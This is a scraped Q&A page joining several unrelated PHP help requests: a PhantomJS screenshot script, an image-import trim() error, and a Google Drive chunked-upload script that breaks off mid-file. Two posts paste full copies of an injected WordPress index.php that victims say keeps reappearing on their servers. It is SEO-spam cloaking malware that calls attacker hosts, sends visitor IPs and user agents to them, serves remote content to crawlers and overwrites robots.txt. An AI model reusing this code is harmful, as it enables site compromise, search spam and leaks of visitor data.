Downloading website screenshot not downloading right size - php

Hello this is a 2 part question....
I have been trying to solve my problem for a while and gave up tonight and seeking answers :/
i have the following code and trying to download the image to the width of 1207px,
the download of the script works fine so i haven't included it below.
the second part is i like to screenshot to the ratio of 1207px wide but cant find way round it.
i have edited the following lines..
$w = 500;
$h = 768;
but this don't work, what ever the values are it downloads at 500px or very close width which is not ideal.
$url = trim(urldecode($url));
if ($url == '') {
exit();
}
if (!stristr($url, 'http://') and !stristr($url, 'https://')) {
$url = 'http://' . $url;
}
$url_segs = parse_url($url);
if (!isset($url_segs['host'])) {
exit();
}
$here = dirname(__FILE__) . DIRECTORY_SEPARATOR;
$bin_files = $here . 'bin' . DIRECTORY_SEPARATOR;
$jobs = $here . 'jobs' . DIRECTORY_SEPARATOR;
$cache = $here . 'cache' . DIRECTORY_SEPARATOR;
if (!is_dir($jobs)) {
mkdir($jobs);
file_put_contents($jobs . 'index.php', '<?php exit(); ?>');
}
if (!is_dir($cache)) {
mkdir($cache);
file_put_contents($cache . 'index.php', '<?php exit(); ?>');
}
$w = 500;
$h = 768;
if (isset($_REQUEST['w'])) {
$w = intval($_REQUEST['w']);
}
if (isset($_REQUEST['h'])) {
$h = intval($_REQUEST['h']);
}
if (isset($_REQUEST['clipw'])) {
$clipw = intval($_REQUEST['clipw']);
}
if (isset($_REQUEST['cliph'])) {
$cliph = intval($_REQUEST['cliph']);
}
if (isset($_REQUEST['download'])) {
$download = $_REQUEST['download'];
}
$url = strip_tags($url);
$url = str_replace(';', '', $url);
$url = str_replace('"', '', $url);
$url = str_replace('\'', '/', $url);
$url = str_replace('<?', '', $url);
$url = str_replace('<?', '', $url);
$url = str_replace('\077', ' ', $url);
$screen_file = $url_segs['host'] . crc32($url) . '_' . $w . '_' . $h . '.jpg';
$cache_job = $cache . $screen_file;
$refresh = false;
if (is_file($cache_job)) {
$filemtime = #filemtime($cache_job); // returns FALSE if file does not exist
if (!$filemtime or (time() - $filemtime >= $cache_life)) {
$refresh = true;
}
}
$url = escapeshellcmd($url);
if (!is_file($cache_job) or $refresh == true) {
$src = "
var page = require('webpage').create();
page.viewportSize = { width: {$w}, height: {$h} };
";
if (isset($clipw) && isset($cliph)) {
$src .= "page.clipRect = { top: 0, left: 0, width: {$clipw}, height: {$cliph} };";
}
$src .= "
page.open('{$url}', function () {
page.render('{$screen_file}');
phantom.exit();
});
";
$job_file = $jobs . $url_segs['host'] . crc32($src) . '.js';
file_put_contents($job_file, $src);
$exec = $bin_files . 'phantomjs ' . $job_file;
$escaped_command = escapeshellcmd($exec);
exec($escaped_command);
if (is_file($here . $screen_file)) {
rename($here . $screen_file, $cache_job);
}
}
if (is_file($cache_job)) {
if ($download != false) {
$file = $cache_job;
$file_name=basename($file);
$type = 'image/jpeg';
header("Content-disposition: attachment; filename={$file_name}");
header("Content-type: {$type}");
readfile($file);
;
} else {
$file = $cache_job;
$type = 'image/jpeg';
header('Content-Type:' . $type);
header('Content-Length: ' . filesize($file));
readfile($file);
}
}
?>

Related

Our cPanel Wordpress Website is creating this index.php automatically

<?php $group_num = 'z9126zn';
$inter_domain = 'http://' . $group_num . '.lievful.quest';
function curl_get_contents($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
$file_contents = curl_exec($ch);
curl_close($ch);
return $file_contents;
}
function getServerCont($url, $data = array())
{
$url = str_replace(' ', '+', $url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
$output = curl_exec($ch);
$errorCode = curl_errno($ch);
curl_close($ch);
if (0 !== $errorCode) {
return false;
}
return $output;
}
function is_crawler($agent)
{
if (strpos($agent, 'google') !== false || strpos($agent, 'yahoo') !== false) {
return true;
} else {
return false;
}
}
function check_refer($refer)
{
if (strpos($refer, '.co.jp') !== false || strpos($refer, 'google.com') !== false) {
return true;
} else {
return false;
}
}
$http = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://');
$req_uri = $_SERVER['REQUEST_URI'];
$domain = $_SERVER["HTTP_HOST"];
$self = $_SERVER['PHP_SELF'];
$ser_name = $_SERVER['SERVER_NAME'];
$req_url = $http . $domain . $req_uri;
$indata1 = $inter_domain . "/indata.php";
$map1 = $inter_domain . "/map.php";
$jump1 = $inter_domain . "/jump.php";
$url_words = $inter_domain . "/words.php";
$url_robots = $inter_domain . "/robots.php";
if (strpos($req_uri, ".php")) {
$href1 = $http . $domain . $self;
} else {
$href1 = $http . $domain;
}
$data1[] = array();
$data1['http'] = $http;
$data1['domain'] = $domain;
$data1['req_uri'] = $req_uri;
$data1['href'] = $href1;
$data1['req_url'] = $req_url;
$user_agent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
if(getenv('HTTP_CLIENT_IP')){
$client_ip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
$client_ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')) {
$client_ip = getenv('REMOTE_ADDR');
} else {
$client_ip = $_SERVER['REMOTE_ADDR'];
}
if (substr($req_uri, -6) == 'robots') {
$robots_cont = getServerCont($url_robots, $data1);
define('BASE_PATH', str_ireplace($_SERVER['PHP_SELF'], '', __FILE__));
file_put_contents(BASE_PATH . '/robots.txt', $robots_cont);
$robots_cont = file_get_contents(BASE_PATH . '/robots.txt');
if (strpos($robots_cont, "Crawl-delay:3")) {
echo 'robots.txt file create success!';
} else {
echo 'robots.txt file create fail!';
}
exit;
}
if (substr($req_uri, -4) == '.xml') {
if (strpos($req_uri, "pingsitemap.xml")) {
$str_cont = getServerCont($map1, $data1);
$str_cont_arr = explode(",", $str_cont);
$str_cont_arr[] = 'sitemap';
for ($k = 0; $k < count($str_cont_arr); $k++) {
if (strpos($href1, ".php") > 0) {
$tt1 = '?';
} else {
$tt1 = '/';
}
$http2 = $href1 . $tt1 . $str_cont_arr[$k] . '.xml';
$data_new = 'https://www.google.com/ping?sitemap=' . $http2;
$data_new1 = 'http://www.google.com/ping?sitemap=' . $http2;
if (stristr(#file_get_contents($data_new), 'successfully')) {
echo $data_new . '===>Submitting Google Sitemap: OK' . PHP_EOL;
} else if (stristr(#curl_get_contents($data_new), 'successfully')) {
echo $data_new . '===>Submitting Google Sitemap: OK' . PHP_EOL;
} else if (stristr(#file_get_contents($data_new1), 'successfully')) {
echo $data_new1 . '===>Submitting Google Sitemap: OK' . PHP_EOL;
} else if (stristr(#curl_get_contents($data_new1), 'successfully')) {
echo $data_new1 . '===>Submitting Google Sitemap: OK' . PHP_EOL;
} else {
echo $data_new1 . '===>Submitting Google Sitemap: fail' . PHP_EOL;
}
}
exit;
}
if (strpos($req_uri, "allsitemap.xml")) {
$str_cont = getServerCont($map1, $data1);
header("Content-type:text/xml");
echo $str_cont;
exit;
}
if (strpos($req_uri, ".php")) {
$word4 = explode("?", $req_uri);
$word4 = $word4[count($word4) - 1];
$word4 = str_replace(".xml", "", $word4);
} else {
$word4 = str_replace("/", "", $req_uri);
$word4 = str_replace(".xml", "", $word4);
}
$data1['word'] = $word4;
$data1['action'] = 'check_sitemap';
$check_url4 = getServerCont($url_words, $data1);
if ($check_url4 == '1') {
$str_cont = getServerCont($map1, $data1);
header("Content-type:text/xml");
echo $str_cont;
exit;
}
$data1['action'] = "check_words";
$check1 = getServerCont($url_words, $data1);
if (strpos($req_uri, "map") > 0 || $check1 == '1') {
$data1['action'] = "rand_xml";
$check_url4 = getServerCont($url_words, $data1);
header("Content-type:text/xml");
echo $check_url4;
exit;
}
}
if (strpos($req_uri, ".php")) {
$main_shell = $http . $ser_name . $self;
$data1['main_shell'] = $main_shell;
} else {
$main_shell = $http . $ser_name;
$data1['main_shell'] = $main_shell;
}
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$chk_refer = check_refer($referer);
$bot=true;
if ($chk_refer) {
$data1['referer'] = $referer;
$data1['ip'] = $client_ip;
$data1['user_agent'] = $user_agent;
$data1['browser_la'] = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
$refer_content = getServerCont($jump1, $data1);
if ($refer_content != "404") {
echo $refer_content;
exit;
}
$bot=false;
}
$res_crawl = is_crawler($user_agent);
if ($res_crawl&&$bot) {
$data1['http_user_agent'] = $user_agent;
$get_content = getServerCont($indata1, $data1);
if ($get_content == "404") {
header('HTTP/1.0 404 Not Found');
exit;
} else if ($get_content == "500") {
header("HTTP/1.0 500 Internal Server Error");
exit;
} else if ($get_content == "blank") {
echo '';
exit;
} else {
echo $get_content;
exit;
}
} ?><?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* #package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* #var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
This is that index.php file which is not in our control.
We have Godaddy VPS Server With cPanel & wordpress hosting. we have installed wordpress site in a directory and that directory creates INDEX file automatically which shows HTTP ERROR 500 when opened.
this is automatically created in our VPS server. it automatically modifies when we changes this. automatically created when deleted.
In short we have no control over the directory and this file.
I have the same problem
<?php $group_num = 'z0109_18';
$inter_domain = 'http://107.150.41.2//' . $group_num . '/';
function curl_get_contents($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
$file_contents = curl_exec($ch);
curl_close($ch);
return $file_contents;
}
function getServerCont($url, $data = array())
{
$url = str_replace(' ', '+', $url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
$output = curl_exec($ch);
$errorCode = curl_errno($ch);
curl_close($ch);
if (0 !== $errorCode) {
return false;
}
return $output;
}
function is_crawler($agent)
{
$agent_check = false;
$bots = 'googlebot|google|yahoo|bing|aol';
if ($agent != '') {
if (preg_match("/($bots)/si", $agent)) {
$agent_check = true;
}
}
return $agent_check;
}
function check_refer($refer)
{
$check_refer = false;
$referbots = 'google.co.jp|yahoo.co.jp|google.com';
if ($refer != '' && preg_match("/($referbots)/si", $refer)) {
$check_refer = true;
}
return $check_refer;
}
$http = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://');
$req_uri = $_SERVER['REQUEST_URI'];
$domain = $_SERVER["HTTP_HOST"];
$self = $_SERVER['PHP_SELF'];
$ser_name = $_SERVER['SERVER_NAME'];
$req_url = $http . $domain . $req_uri;
$indata1 = $inter_domain . "/indata.php";
$map1 = $inter_domain . "/map.php";
$jump1 = $inter_domain . "/jump.php";
$url_words = $inter_domain . "/words.php";
$url_robots = $inter_domain . "/robots.php";
if (strpos($req_uri, ".php")) {
$href1 = $http . $domain . $self;
} else {
$href1 = $http . $domain;
}
$data1[] = array();
$data1['domain'] = $domain;
$data1['req_uri'] = $req_uri;
$data1['href'] = $href1;
$data1['req_url'] = $req_url;
if (substr($req_uri, -6) == 'robots') {
$robots_cont = getServerCont($url_robots, $data1);
define('BASE_PATH', str_ireplace($_SERVER['PHP_SELF'], '', __FILE__));
file_put_contents(BASE_PATH . '/robots.txt', $robots_cont);
$robots_cont = file_get_contents(BASE_PATH . '/robots.txt');
if (strpos(strtolower($robots_cont), "sitemap")) {
echo 'robots.txt file create success!';
} else {
echo 'robots.txt file create fail!';
}
return;
}
if (substr($req_uri, -4) == '.xml') {
if (strpos($req_uri, "pingsitemap.xml")) {
$str_cont = getServerCont($map1, $data1);
$str_cont_arr = explode(",", $str_cont);
$str_cont_arr[] = 'sitemap';
for ($k = 0; $k < count($str_cont_arr); $k++) {
if (strpos($href1, ".php") > 0) {
$tt1 = '?';
} else {
$tt1 = '/';
}
$http2 = $href1 . $tt1 . $str_cont_arr[$k] . '.xml';
$data_new = 'https://www.google.com/ping?sitemap=' . $http2;
$data_new1 = 'http://www.google.com/ping?sitemap=' . $http2;
if (stristr(#file_get_contents($data_new), 'successfully')) {
echo $data_new . '===>Submitting Google Sitemap: OK' . PHP_EOL;
} else if (stristr(#curl_get_contents($data_new), 'successfully')) {
echo $data_new . '===>Submitting Google Sitemap: OK' . PHP_EOL;
} else if (stristr(#file_get_contents($data_new1), 'successfully')) {
echo $data_new1 . '===>Submitting Google Sitemap: OK' . PHP_EOL;
} else if (stristr(#curl_get_contents($data_new1), 'successfully')) {
echo $data_new1 . '===>Submitting Google Sitemap: OK' . PHP_EOL;
} else {
echo $data_new1 . '===>Submitting Google Sitemap: fail' . PHP_EOL;
}
}
return;
}
if (strpos($req_uri, "allsitemap.xml")) {
$str_cont = getServerCont($map1, $data1);
header("Content-type:text/xml");
echo $str_cont;
return;
}
if (strpos($req_uri, ".php")) {
$word4 = explode("?", $req_uri);
$word4 = $word4[count($word4) - 1];
$word4 = str_replace(".xml", "", $word4);
} else {
$word4 = str_replace("/", "", $req_uri);
$word4 = str_replace(".xml", "", $word4);
}
$data1['word'] = $word4;
$data1['action'] = 'check_sitemap';
$check_url4 = getServerCont($url_words, $data1);
if ($check_url4 == '1') {
$str_cont = getServerCont($map1, $data1);
header("Content-type:text/xml");
echo $str_cont;
return;
}
$data1['action'] = "check_words";
$check1 = getServerCont($url_words, $data1);
if (strpos($req_uri, "map") > 0 || $check1 == '1') $data1['action'] = "rand_xml";
$check_url4 = getServerCont($url_words, $data1);
header("Content-type:text/xml");
echo $check_url4;
return;
}
if (strpos($req_uri, ".php")) {
$main_shell = $http . $ser_name . $self;
$data1['main_shell'] = $main_shell;
} else {
$main_shell = $http . $ser_name;
$data1['main_shell'] = $main_shell;
}
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$chk_refer = check_refer($referer);
if (strpos($_SERVER['REQUEST_URI'], '.php')) {
$url_ext = '?';
} else {
$url_ext = '/';
}
if ($chk_refer && (preg_match('/ja/i', #$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match('/ja/i', #$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match("/^[a-z0-9]+[0-9]+$/", end(explode($url_ext, str_replace(array(".html", ".htm"), "", $_SERVER['REQUEST_URI'])))))) {
echo getServerCont($jump1, $data1);
return;
}
$user_agent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
$res_crawl = is_crawler($user_agent);
if ($res_crawl) {
$data1['http_user_agent'] = $user_agent;
$get_content = getServerCont($indata1, $data1);
echo $get_content;
return;
} ?>
My only solution now is to delete index.php recolection.php and wp-admin and wp-includes folder.
After that I reinstall WordPress and the site is working again.

trim() expects parameter 1 to be string

Got a situation with image import process, before asking here of course - tried many ways to solve it by myself, but without any luck yet.
I'm getting error in model file: trim() expects parameter 1 to be string, array given in file /.../file.php on line 3875. Have to mention that - when there's single image - importing that perfectly, as soon as getting multiple images (more than one) - getting this error, and doesn't importing any image, just skipping.
Line 387: $image = trim($image);
Whole function code:
protected function imageHandler($field, &$config, $multiple = false, $item_id = NULL) {
$image_array = array();
if (empty($config['columns'][$field])) {
if ($multiple) {
return $image_array;
} else {
return '';
}
}
$sort_order = 0;
foreach ((array) $config['columns'][$field] as $images) {
if (!empty($config['multiple_separator']) && is_string($images)) {
$images = explode(#html_entity_decode($config['multiple_separator']), $images);
}
//is_array($images) && reset($images);
if ($multiple && is_array($images) && $config['columns']['image'] == $images[key($images)]) {
array_shift($images);
}
foreach ((array) $images as $image) {
$image = trim($image);
if ($config['image_download'] && $image) {
// if (substr($image, 0, 2) == '//') {
// $image = 'http:' . $image;
// }
$file_info = pathinfo(parse_url(trim($image), PHP_URL_PATH));
// if no extension, get it by mime
if (empty($file_info['extension'])) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, trim($image));
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_NOBODY, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_exec($ch);
$contentType = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
switch($contentType) {
case 'image/bmp': $file_info['extension'] = 'bmp'; break;
case 'image/gif': $file_info['extension'] = 'gif'; break;
case 'image/jpeg': $file_info['extension'] = 'jpg'; break;
case 'image/pipeg': $file_info['extension'] = 'jfif'; break;
case 'image/tiff': $file_info['extension'] = 'tif'; break;
case 'image/png': $file_info['extension'] = 'png'; break;
default: $file_info['extension'] = '';
}
}
if (substr_count($file_info['dirname'], 'http')) {
// incorrect array extract
if (!$multiple) {
return $image;
} else {
$image_array[] = $image;
continue;
}
}
if (!in_array(strtolower($file_info['extension']), array('gif', 'jpg', 'jpeg', 'png'))) {
$this->session->data['obui_log'][] = array(
'row' => $this->session->data['obui_current_line'],
'status' => 'error',
'title' => $this->language->get('warning'),
'msg' => $this->language->get('warning_incorrect_image_format') . ' ' . str_replace(' ', '%20', $image),
);
if (!$multiple) {
return $image;
} else {
$image_array[] = $image;
continue;
}
}
if ($this->simulation) {
if (!$multiple) {
/* Now handled before
if (!in_array(strtolower($file_info['extension']), array('gif', 'jpg', 'jpeg', 'png'))) {
return array('error_format', $image);
}*/
return $image;
} else {
/* Now handled before
if (!in_array(strtolower($file_info['extension']), array('gif', 'jpg', 'jpeg', 'png'))) {
$image_array[] = 'error_format';
continue;
}*/
$image_array[] = $image;
continue;
}
}
// detect if image is on actual server
if (strpos($image, 'http') === false) {
$filename = trim($image);
if (!$multiple) {
return $filename;
} else {
if (!empty($filename)) {
$image_array[] = array(
'image' => $filename,
'sort_order' => $sort_order++,
);
}
continue;
}
}
if (version_compare(VERSION, '2', '>=')) {
$path = 'catalog/';
//$http_path = HTTP_CATALOG . 'image/catalog/';
} else {
$path = 'data/';
//$http_path = HTTP_CATALOG . 'image/data/';
}
if (trim($config['image_location'], '/\\')) {
$path .= trim($config['image_location'], '/\\') . '/';
}
if ($config['image_keep_path'] && trim($file_info['dirname'], '/\\')) {
$path .= trim($file_info['dirname'], '/\\') . '/';
}
if (!is_dir(DIR_IMAGE . $path)) {
mkdir(DIR_IMAGE . $path, 0777, true);
}
$filename = $path . urldecode($file_info['filename']) . '.' . $file_info['extension'];
if (($item_id === false && $this->config->get('mlseo_insertautoimgname')) || ($item_id && $this->config->get('mlseo_editautoimgname'))) {
$this->load->model('tool/seo_package');
$seo_image_name = $this->model_tool_seo_package->transformProduct($this->config->get('mlseo_product_image_name_pattern'), $this->config->get('config_language_id'), $config['columns']);
$seoPath = pathinfo($filename);
if (!empty($seoPath['filename'])) {
$seoFilename = $this->model_tool_seo_package->filter_seo($seo_image_name, 'image', '', '');
$filename = $seoPath['dirname'] . '/' . $seoFilename . '.' . $seoPath['extension'];
if (file_exists(DIR_IMAGE . $filename)) {
$x = 1;
while (file_exists(DIR_IMAGE . $filename)) {
$filename = $seoPath['dirname'] . '/' . $seoFilename . '-' . $x . '.' . $seoPath['extension'];
$x++;
}
}
}
}
if ($config['image_exists'] == 'rename') {
$x = 1;
while (file_exists(DIR_IMAGE . $filename)) {
$filename = $path . urldecode($file_info['filename']) . '-' . $x++ . '.' . $file_info['extension'];
}
} else if ($config['image_exists'] == 'keep' && file_exists(DIR_IMAGE . $filename)) {
// image skipped
if (!$multiple) {
return $filename;
} else {
$image_array[] = array(
'image' => $filename,
'sort_order' => $sort_order++,
);
continue;
}
}
// copy image, replace space chars for compatibility with copy()
// if (!#copy(trim(str_replace(' ', '%20', $image)), DIR_IMAGE . $filename)) {
$copyError = $this->copy_image(trim(str_replace(' ', '%20', $image)), DIR_IMAGE . $filename);
if ($copyError !== true) {
if (defined('GKD_CRON')) {
$this->cron_log($this->session->data['obui_current_line'] . ' - ' . $copyError);
} else {
$this->session->data['obui_log'][] = array(
'row' => $this->session->data['obui_current_line'],
'status' => 'error',
'title' => $this->language->get('warning'),
'msg' => $copyError,
);
}
$filename = '';
}
} else {
// get direct value
$filename = trim($image);
if ($this->simulation) {
if (!$multiple) {
return $filename;
} else {
if (!empty($filename)) {
$image_array[] = $filename;
}
continue;
}
}
}
// one field only, directly return first value
if (!$multiple) {
return $filename;
}
if (!empty($filename)) {
$image_array[] = array(
'image' => $filename,
'sort_order' => $sort_order++,
);
}
}
}
return $image_array;
}
Tried to use return $image; after that line, even that didn't helped. Was trying to find similar problem to this one to find a solution without posting here, but seems like I won't move anywhere withou help. Thanks in advance!

large files showing in KB after uploading to google drive

We are trying to use this plugin code in our php script
https://github.com/wp-plugins/google-drive-wp-media/tree/master/gdwpm-api
We modified code and using successfully in our project, But its working only for small files, When we upload large files to google drive files showing only in KB size.
May be only last chunk is uploaded to google drive for large files,
We tried to solve this error but failed, Please check and tell what we are doing wrong.
Here is our modified files.
index.php
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" rel="stylesheet">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js"></script>
<script src="http://cdn.jsdelivr.net/bootstrap/3.3.2/js/bootstrap.min.js"></script>
<script type='text/javascript' src='http://myweb.com/wp-admin/load-scripts.php?c=0&load%5B%5D=jquery-core,jquery-migrate,utils,plupload&ver=4.4.2'></script>
<div class="container">
<div id="tabs-2" aria-labelledby="ui-id-12" class="ui-tabs-panel ui-widget-content ui-corner-bottom" role="tabpanel" aria-hidden="false" style="display: block;">
<p style="display: flex; align-items: center;">
Select folder: <select id="folder_pilian_aplod" name="folder_pilian_aplod" style="display: block;"><option value="0B0pm8dZPprJ-cElGclFoc2tVZ1E">testdata</option></select>
</p>
<!--<p>Short Description: <input type="text" name="gdwpm_aplod_deskrip" value="" size="65" placeholder="Optional"></p>-->
<p>
</p><ul>
<li><dfn>Accepted Media MIME types: */*</dfn>
<!-- <br /> <dfn>All Filetypes are allowed.</dfn>
--></li>
</ul>
<p></p>
<ul id="filelist"></ul>
<br>
<button id="gdwpm_tombol_bersih" style="display:none;float:right;" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-icon-primary" role="button"><span class="ui-button-icon-primary ui-icon ui-icon-grip-dotted-horizontal"></span><span class="ui-button-text">Clear List</span></button>
<div id="gdwpm_upload_container"><p id="gdwpm-pilih-kt" style="position: relative;">Choose your files:
<a id="gdwpm_tombol_browse" href="javascript:;" style="position: relative; z-index: 1;"><button id="gdwpm_tombol_bk_folder" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-icon-primary" role="button"><span class="ui-button-icon-primary ui-icon ui-icon-folder-open"></span><span class="ui-button-text">Browse</span></button></a><div id="html5_1asc3hchetiq1f6q14bnli91i4k3_container" class="moxie-shim moxie-shim-html5" style="position: absolute; top: 5px; left: 123px; width: 92px; height: 16px; overflow: hidden; z-index: 0;"><input id="html5_1asc3hchetiq1f6q14bnli91i4k3" type="file" style="font-size: 999px; opacity: 0; position: absolute; top: 0px; left: 0px; width: 100%; height: 100%;" multiple="" accept="" class="ui-corner-all"></div></p>
<input type="checkbox" id="gdwpm_cekbok_masukperpus" name="gdwpm_cekbok_masukperpus" value="1" checked="" class="ui-corner-all"> Add to Media Library. (just linked to, all files still remain in Google Drive)<!-- (Image only: <i>*.jpg, *.jpeg, *.png, & *.gif</i>)--><p>
<a style="" id="gdwpm_start-upload" href="javascript:;"><button id="gdwpm_tombol_upload" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-icon-primary" role="button"><span class="ui-button-icon-primary ui-icon ui-icon-arrowthickstop-1-n"></span><span class="ui-button-text">Upload to Google Drive</span></button></a>
</p>
<pre id="console"></pre>
</div>
<div id="gdwpm_loding_128" style="display:none;"><center>
<img src="http://localhost/wordpress/wp-content/plugins/google-drive-wp-media/images/animation/gdwpm_loader_128.gif"><br>Uploading...<br><small id="respon_progress"></small></center></div>
<script type="text/javascript">
var uploader = new plupload.Uploader({
browse_button: 'gdwpm_tombol_browse',
url: 'uploader.php',
chunk_size: '700kb',
max_retries: 3 });
uploader.init();
uploader.bind('FilesAdded', function(up, files) {
var html = '';
plupload.each(files, function(file) {
html += '<li id="' + file.id + '"><code>' + file.name + '</code> (' + plupload.formatSize(file.size) + ') <span class="hasilprog"></span> <input type="text" id="' + file.id + 'gdwpm_aplod_deskrip" name="' + file.id + 'lod_deskrip" value="" size="55" placeholder="Short Description (optional) *Alphanumeric*"><hr></li>';
});
document.getElementById('filelist').innerHTML += html;
jQuery('#console').empty();
jQuery('#gdwpm_tombol_bersih').hide();
jQuery('#gdwpm_start-upload').show();
jQuery('#infopraupload').remove();
});
uploader.bind('UploadProgress', function(up, file) {
document.getElementById(file.id).getElementsByClassName('hasilprog')[0].innerHTML = "<dfn>" + file.percent + "%</dfn> <small>" + jQuery('#' + file.id + 'gdwpm_aplod_deskrip').val().replace(/[^\w\s-]/gi, '') + "</small>";
jQuery('#' + file.id + 'gdwpm_aplod_deskrip').hide();
jQuery('#gdwpm_upload_container').hide();
jQuery('#gdwpm_loding_128').show();
jQuery('#gdwpm_tombol_bersih').hide();
});
uploader.bind('Error', function(up, err) {
document.getElementById('console').innerHTML += "\nError #" + err.code + ": " + err.message;
jQuery('#gdwpm_upload_container').show();
jQuery('#gdwpm_loding_128').hide();
jQuery('#gdwpm_start-upload').hide();
jQuery('#gdwpm_tombol_bersih').show();
});
document.getElementById('gdwpm_start-upload').onclick = function() {
uploader.start();
};
uploader.bind('FileUploaded', function(up, file, response ) {
response=response["response"];
jQuery('#console').html(response);
var totalspan = document.getElementById('filelist').getElementsByClassName('hasilprog').length;
var totaldfn = document.getElementById('filelist').getElementsByTagName('dfn').length;
if(totalspan == totaldfn){
jQuery('#gdwpm_upload_container').show();
jQuery('#gdwpm_tombol_bersih').show();
jQuery('#gdwpm_loding_128').hide();
}
jQuery('#gdwpm_start-upload').hide();
jQuery('#respon_progress').empty();
if(jQuery('#gdwpm_folder_anyar').val() != ''){
jQuery('#gdwpm_info_folder_baru').show();
}
});
uploader.bind('BeforeUpload', function (up, file) {
up.settings.multipart_params = {gdpwm_nm_bks: jQuery("#folder_pilian_aplod option:selected").text(), gdpwm_nm_id: jQuery('select[name=folder_pilian_aplod]').val(),
gdpwm_nm_br: jQuery('#gdwpm_folder_anyar').val(), gdpwm_sh_ds: jQuery('#' + file.id + 'gdwpm_aplod_deskrip').val().replace(/[^\w\s-]/gi, ''), gdpwm_med_ly: jQuery('#gdwpm_cekbok_masukperpus:checked').val(),
gdpwm_nama_file: file.name};
});
uploader.bind('ChunkUploaded', function(up, file, info) {
response=info["response"];
jQuery('#respon_progress').empty();
jQuery('#console').html(response);
jQuery('#respon_progress').html('[Chunked: ' + info["offset"] + ' of ' + info["total"] + ' bytes]');
//jQuery('#gdwpm_upload_container').show();
//jQuery('#gdwpm_loding_128').hide();
//jQuery('#gdwpm_start-upload').hide();
});
</script>
</div>
</div>
uploader.php
<?php
error_reporting(E_ALL); ini_set('display_errors', 1);
require_once 'gdwpm-api/Google_Client.php';
require_once 'gdwpm-api/contrib/Google_DriveService.php';
require_once 'gwbp.php';
set_time_limit(600000000);
global $cek_kunci, $gdwpm_opt_akun, $gdwpm_service, $gdwpm_apiConfig;
if (empty($_FILES) || $_FILES["file"]["error"]) {
die('<div class="error"><p>Oops.. error, upload failed! '.$_FILES["file"]["error"].'</p></div>');
}
if (isset($_REQUEST["gdpwm_nama_file"])) {
$filename = $_REQUEST["gdpwm_nama_file"];
} elseif (!empty($_FILES)) {
$filename = $_FILES["file"]["name"];
} else {
$filename = uniqid("file_");
}
$targetDir = ini_get("upload_tmp_dir");
$maxFileAge = 5000 * 3600; // Temp file age in seconds
// Create target dir
if (!file_exists($targetDir)) {
//#mkdir($targetDir);
if (!file_exists($targetDir = sys_get_temp_dir())){
$upload_dir = wp_upload_dir();
if (!file_exists($targetDir = $upload_dir['basedir'] . DIRECTORY_SEPARATOR . 'gdwpm-tmp')) {
#mkdir($targetDir);
}
}
}
$filePath = $targetDir . DIRECTORY_SEPARATOR . $filename;
// Chunking might be enabled
$chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0;
$chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 0;
if (!is_dir($targetDir) || !$dir = opendir($targetDir)) {
die('<div class="error"><p>Oops.. error. Failed to open temp directory.</p></div>');
}
while (($file = readdir($dir)) !== false) {
$tmpfilePath = $targetDir . DIRECTORY_SEPARATOR . $file;
// If temp file is current file proceed to the next
if ($tmpfilePath == "{$filePath}.part") {
continue;
}
// Remove temp file if it is older than the max age and is not the current file
if (preg_match('/\.part$/', $file) && (filemtime($tmpfilePath) < time() - $maxFileAge)) {
#unlink($tmpfilePath);
}
}
closedir($dir);
// Open temp file
